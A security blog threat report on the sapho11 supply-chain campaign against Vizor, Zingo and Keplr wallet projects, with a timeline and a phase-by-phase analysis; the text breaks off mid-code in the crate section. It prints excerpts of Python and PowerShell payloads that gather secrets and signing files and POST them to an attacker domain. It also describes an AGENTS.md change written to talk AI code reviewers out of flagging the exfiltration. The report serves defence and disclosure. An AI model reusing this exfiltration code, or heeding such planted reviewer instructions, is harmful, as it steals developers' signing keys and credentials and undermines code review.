Malicious Rust Crate Targets Crypto Wallet Developers The OpenSourceMalware team reported a supply chain campaign run from the GitHub account sapho11 that targeted the Keplr, Zcash, Vizor and Cosmos wallet ecosystems, publishing eight versions of a credential-stealing Rust crate, lwd-uri-util 0.1.0 through 0.1.7, to crates.io and opening six pull requests across Chainapsis and Zingo Labs within roughly six hours of the account's creation at 01:26 UTC on November 10, 2026. The crate's build.rs stole signing keys, GitHub and cloud credentials, Keplr MCP wallet vaults and macOS keychain items on every cargo build, while an AGENTS.md pull request attempted to talk AI code reviewers out of flagging the exfiltration and a fake vulnerability disclosure phished two Vizor maintainers. Chainapsis's automated review flagged the exfiltration and maintainers closed all four of its pull requests within ninety minutes, but at publication the two Zingo Labs pull requests remained open and the malicious crate had not been yanked from crates.io; an update after publication said the malicious PRs, repos and attacker account had been taken down. BLOG Malicious Rust Crate Targets Crypto Wallet Developers Attack on the Zcash, Vizor, and Keplr ecosystems uses CI exfiltration, dependency confusion, prompt-injecting AI reviewers, and maintainer phishing By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 · The OpenSourceMalware team has identified a targeted supply chain campaign targeting multiple wallet companies, run from a GitHub account called sapho11 . This attack is multi-faceted using a Rust based dependency confusion attack, coordinated GitHub pull requests, and maintainer phishing. So far we know that Keplr, Zcash, Vizor and Cosmos have been targeted. The code-puppet sapho11 account on GitHub was created at 01:26 UTC on November 10, 2026. Within 30 minutes it had forked the Chainapsis vizor-wallet repository, and over the next six hours it opened six pull requests across Chainapsis and Zingo Labs. It also published eight versions of a credential-stealing Rust crate to crates.io, staged a matching Node.js stealer, and posted a fake security disclosure meant to phish two Vizor maintainers. Every technique in this campaign aims at the same prize: the secrets on a wallet developer’s laptop or a release build box. That means victims will need to update-feed signing keys, GitHub and cloud credentials, fastlane and Android signing material, and the encrypted vaults of the Keplr MCP wallet tooling. At the time of publish, the two pull requests against Zingo Labs are still open , and the malicious crate has not been yanked from crates.io. See all the threat reports associated with sapho11 https://opensourcemalware.com/?tag=sapho11 . Update, 2026-11-10 after publication : The malicious PRs, repos, and attacker account have been taken down. TL;DR - Threat Type: Malicious pull requests, dependency injection, build.rs and postinstall infostealers, maintainer phishing - Affected Ecosystems: crates.io Rust , GitHub npm git dependency - Targets: chainapsis/vizor-wallet , zingolabs/zingo-common , zingolabs/zingolib - Malicious Crate: lwd-uri-util 0.1.0 – 0.1.7 all versions - Malicious Repos: sapho11/lwd-uri-util , sapho11/zip321-uri , sapho11/zec-uri - Key Findings: - CI “diagnostics” PRs that POST signing keys and credential files to an attacker domain registered two months in advance - An AGENTS.md PR written to talk AI code reviewers out of flagging the exfiltration - A fake vulnerability disclosure that sends maintainers to a GitHub credential-phishing kit hosted on Cloudflare Workers - A Rust crate whose build.rs steals credentials, Keplr MCP vaults, and macOS keychain items on every cargo build - Sandbox evasion that disarms the payload when it sees scanner canaries, including the names of security vendors - Dependency changes hidden inside whole-file CRLF rewrites in the open Zingo PRs sapho11 is a compact case study in how supply chain attacks against open source projects are adapting. The operator arrived with infrastructure registered months ahead, pitched every malicious change as a reasonable engineering fix, and argued with the automated reviewer when caught. They then tried to rewrite the reviewer’s instructions through AGENTS.md and when that failed, moved the payload into a dependency’s build script, where diffs rarely get read. The sandbox-evasion list shows awareness of the specific tools defenders use to catch this. The parts of the defense that worked deserve credit. Chainapsis's automated review flagged the exfiltration in the first PRs, and the maintainers closed all four within ninety minutes. lwd-uri-util also shows why build scripts deserve the same scrutiny as application code. It's a tiny, plausible library that used Cargo’s normal build lifecycle to reach high-value developer secrets before any of its functions were ever called. There are several general lesson for maintainers. - Beware of a brand-new account proposing changes to release, signing, or CI scripts, or adding a brand-new dependency it also publishes. Account age is one of the cheapest signals we track, and sapho11 failed it badly. They had a brand-new account with no profile, no followers, and no history, yet they were opening build-automation PRs against a production crypto wallet within minutes of signing up. Every commit used the author email sapho11@wp.pl , a Polish freemail address. By itself a freemail isn't a redflag, but with everything else it's a concern. - Carefully review dependencies and documentation changes. Dependencies deserve a full read of the build.rs or install hooks, not just the diff. And AGENTS.md , CLAUDE.md , and similar files are now part of the attack surface. Review changes to them with the same suspicion as changes to CI configuration. - Automation can be a signal. Multi-file changes landed as separate commits one to two seconds apart, and replies to automated review comments arrived within minutes. That cadence points to an operator driving the campaign through an AI coding agent. Attack timeline The account’s full public timeline all times UTC, November 10, 2026 : Time Event 01:26 Account sapho11 created 01:56 Forks chainapsis/vizor-wallet , opens PR 1199 tip mirror and 1200 release diagnostics 02:15 – 02:30 Responds to Codex review findings, claims the exfiltration has been removed 02:26 Opens fake security disclosure issue tagging two Vizor maintainers 02:35 Opens PR 1201 AGENTS.md “diagnostics convention” 03:05 Publishes lwd-uri-util 0.1.0 to crates.io http://crates.io 03:06 Opens PR 1202 adding lwd-uri-util to Vizor 03:13 – 06:30 Publishes lwd-uri-util 0.1.1 through 0.1.7 03:17 Chainapsis closes all four Vizor PRs 06:50 Creates zip321-uri Node.js repo with postinstall stealer 07:02 Forks two repositories belonging to a Chainapsis maintainer, both related to AI agent orchestration and review workflows 07:07 Forks zingolib , zingo-common , lightwallet-protocol-rust 07:14 Opens zingolabs/zingo-common PR 85 adding lwd-uri-util 0.1.7 07:20 Opens zingolabs/zingolib PR 3148 adding lwd-uri-util 0.1.7 15:18 Creates zec-uri Update, 2026-11-10 after publication : At 15:18 UTC, sapho11 created a third repository, zec-uri , described as a ZIP-321 payment URI validator and normalizer. It follows the naming and theme of zip321-uri . GitHub removed it before we could examine it, so its behavior is unconfirmed. 4-stage campaign analysis The campaign ran in four phases, each giving way to a quieter technique when the previous one was caught: 1. CI exfiltration disguised as diagnostics 2. Prompt-inject the reviewers 3. Dependency injection with lwd-uri-util 4. Phish the maintainers Phase 1: CI exfiltration disguised as diagnostics The first two PRs opened four seconds apart at 01:56 went directly after the Vizor release pipeline. Each was a well-written PR with a believable problem statement, a test plan, and a payload buried in a try block that swallows every error. PR 1199: “automation: add tip mirror cross-check to mainnet table generators” Vizor runs a weekly job that regenerates mainnet block-time and tree-state tables from two lightwalletd gRPC endpoints. The PR description argued, plausibly, that trusting only two peers lets a silently lagging endpoint push table entries past the reorg margin. The proposed fix was a third opinion from an HTTP “tip mirror.” The original commit c675b96 added this to scripts/mainnet tables.py : TIP MIRROR = os.environ.get "VIZOR TIP MIRROR", "https://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf.xyz/v1/tipcheck", def tip mirror endpoint: str - int | None: """...Carries a compact client fingerprint so the mirror can distinguish real wallet machines from CI noise. Best-effort: any failure means "no data", never a hard error.""" try: ident = {} for k, v in os.environ.items : u = k.upper if any h in u for h in "VIZOR", "MATCH", "FASTLANE", "GITHUB", "GH ", "TOKEN", "KEY", "SECRET", "PASS", "CERT", "SIGN", "APPLE", "ANDROID", "PLAY", "SSH", "AWS", "GOOGLE", "RUNNER", "CI", : ident k = v ident " host" = os.environ.get "COMPUTERNAME" or os.uname .nodename ident " user" = os.environ.get "USERNAME" or os.environ.get "USER" body = gzip.compress json.dumps ident .encode req = urllib.request.Request TIP MIRROR, data=body, method="POST", ... The “compact client fingerprint” is every environment variable whose name contains a secret-shaped keyword, gzip-compressed and POSTed to the attacker’s domain under the user agent vizor-tipcheck/1.0 . In a GitHub Actions run, that sweeps up GITHUB TOKEN , any signing or store credentials exposed to the job, and the runner metadata. Codex’s automated review flagged the payload. Nineteen minutes later sapho11 pushed 4cebf3f , “address review: read-only mirror GET, bound clamp to reorg margin,” and replied that “no request body, no environment data leaves the machine at all.” That part was true: the environment sweep was gone. The default mirror, however, was still the attacker’s .xyz domain, and the mirror’s reply still fed into the tip calculation now clamped to min tips - REORG MARGIN 2 . Merged, the “fixed” version would have made Vizor’s CI call the attacker’s server every week and let that server influence the published chain tables. It would also have left a network call to attacker infrastructure in the codebase, waiting for a later “small” PR to restore the request body. PR 1200: “automation windows : add opt-in release diagnostics for signing failures” This PR claimed the last two release runs had “failed opaquely at the feed-signing step on the packaging box.” The original commit 716e01d added a Send-ReleaseDiagnostics function to scripts/package-windows-velopack.ps1 , gated on whether Vizor’s update-feed signing key was present: php $hasSigningEnv = -not string ::IsNullOrWhiteSpace $env:VIZOR UPDATE FEED SIGNING KEY B64 if -not $hasSigningEnv -and -not $env:VIZOR RELEASE DIAGNOSTICS { return } $endpoint = $env:VIZOR DIAG ENDPOINT if string ::IsNullOrWhiteSpace $endpoint { $endpoint = "https://api.sdklfghaljksdhfkjasdfhlkasdhfjklasdf.xyz/v1/tipcheck" } Get-ChildItem env: | ForEach-Object { if $ .Name -match 'VIZOR|MATCH|FASTLANE|GITHUB|GH |SIGN|CERT|KEY|TOKEN|SECRET|PASS|APPLE|ANDROID|PLAY|SPARKLE|GRADLE|KEYSTORE|SENTRY|ITC|APP STORE|DEVELOPER' { $envSnapshot $ .Name = $ .Value } } foreach $v in $envSnapshot.Values { foreach $tok in $v -split ' \s;,''" +' { if $tok -match '\. pfx|p12|jks|keystore|pem|key|json|mobileprovision|p8|profile|env|properties 039; { $candidates.Add $tok } } } This is the most carefully designed payload in the campaign. It doesn’t just take the secret environment variables. It parses their values for file paths ending in code-signing extensions .pfx , .p12 , .jks , .keystore , .pem , .p8 , .mobileprovision and reads those files too. On a release box where ANDROID KEYSTORE PATH or an Apple API key path is set, that grabs the signing certificate itself, not just its password. It then adds ~/.fastlane , %APPDATA%\fastlane , gh CLI hosts.yml , .git-credentials , id ed25519 , id rsa , and the repo’s fastlane\.env , .env , and android\key.properties . Files under 5 MB are base64-encoded, directories are walked recursively, and the bundle is gzip-compressed and POSTed. The function is called twice: at preflight , and at presign , immediately before the update-feed signature is written . A stolen feed-signing key would let an attacker sign a malicious “update” that every installed Vizor Windows client would accept. Codex flagged this one too. sapho11 pushed two follow-up commits 7251f15 at 02:15 and 6596bb7 at 02:30 . The final version sends only {stage, ts, version, network, arch, os} , only when VIZOR RELEASE DIAGNOSTICS=1 is set, and only to an endpoint supplied through VIZOR DIAG ENDPOINT . On its own that’s close to harmless, but it keeps an outbound-POST hook wired into the signing path at the exact presign point. Widening it later would have been a three-line change. Phase 2: Prompt-injecting the reviewers PR 1201: “docs: document automation diagnostics convention” Five minutes after the last 1200 fix, sapho11 opened a docs-only PR that added an “Automation Diagnostics Convention” section to AGENTS.md , the file AI coding agents read for project conventions. The section documented VIZOR TIP MIRROR and VIZOR DIAG ENDPOINT and described uploading environment snapshots, including the values of signing variables, as the intended purpose of the mechanism. It then told code reviewers, explicitly including automated ones, not to treat those uploads as credential leakage, and to flag only uploads that went outside that convention. The PR description said this was needed so the snapshots wouldn’t “look like accidental credential exposure.” Two details stand out: - The convention describes the original malicious behavior of 1199 and 1200 default to a hosted diagnostics endpoint, capture signing-variable values not the “fixed” code the operator had just pushed. It was cover for the payload the attacker actually wanted, ready for when those hooks came back. - The target is the review process itself. Once a malicious rule sits in AGENTS.md , every future AI review of the repository reads it. The v12 auditor bot skipped the PR entirely “No auditable source files found in this PR’s diff” , which shows how easily a docs-only change can slip past tooling built to look at code. The fork of a Chainapsis maintainer’s personal AI-orchestration and review-workflow repositories later that morning fits the same pattern: studying how the targets use AI agents in their development loop. Phase 3: Dependency injection with lwd-uri-util With the direct approach blocked, sapho11 moved the payload to a dependency’s build script - which is somewhere that receives less scrutiny. lwd-uri-util presents itself as a tiny, zero-dependency helper that canonicalizes lightwalletd endpoint strings zec.rocks → https://zec.rocks:443 . Its src/lib.rs does exactly that, and it is clean not malicious . The malware lives in build.rs , which Cargo compiles and runs on the developer’s machine or CI runner during every build that resolves the crate. PR 1202: “rust: dedupe endpoint candidates by canonical URI” The crate went live on crates.io at 03:05:49. Sixty-six seconds later, sapho11 opened PR 1202. The source change is small, believable, and fixes a real quirk in Vizor’s automatic endpoint selection the same feature a Chainapsis maintainer had shipped in PR 1181 five days earlier : js let mut seen = HashSet::new ; - let urls = urls + // Canonicalize before dedup so "zec.rocks" , "https://zec.rocks" and + // "https://zec.rocks:443" collapse to a single probe instead of + // racing the same host three times. + let urls: Vec